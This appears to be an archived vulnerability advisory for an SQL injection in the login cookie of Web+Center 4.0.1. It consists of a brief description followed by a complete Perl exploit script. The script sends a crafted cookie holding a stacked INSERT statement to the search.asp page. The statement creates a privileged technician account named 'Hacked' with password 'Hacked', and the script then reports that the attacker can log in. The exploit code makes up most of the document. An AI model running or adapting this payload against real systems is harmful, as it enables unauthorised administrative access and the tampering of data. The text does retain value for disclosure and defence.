Internet Software Sciences Web+Center 4.0.1 Cookie Object SQL Injection Vulnerability

                                                source: http://www.securityfocus.com/bid/10771/info

An SQL injection vulnerability is identified in the application that may allow attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. 

This issue exists due to insufficient sanitization of user-supplied input through the Cookie object.

Successful exploitation could result in compromise of the application, disclosure or modification of data or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may gain access to the administrative username and password and execute arbitrary database commands as well.

Web+Center version 4.0.1 is affected by this vulnerability. Other versions may be affected as well.

#!/usr/bin/perl

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $Path = $ARGV[1];

if (($#ARGV+1) < 2)
{
print "iss_helpdesk.pl host path\n";
exit(0);
}

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

my $sql = "; INSERT INTO tech_staff (tech_id, tech_password, tech_level, first_name, last_name, availability, show_dispatch_flag) VALUES ('Hacked', 'Hacked', 6, 'Hacked', 'Hacked', 1, 1); --";

$sql =~s/([^a-zA-Z0-9])/uc sprintf("%%%02x",ord($1))/eg;

my $http = "GET /$Path/search.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: ISS_TECH_CENTER_LOGIN='+$sql;

";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);

while (<$remote>)
{
# print $_;
}
print "\n";

close($remote);

print "You can now logon using the tech username 'Hacked' with the password 'Hacked'\n";

exit(0);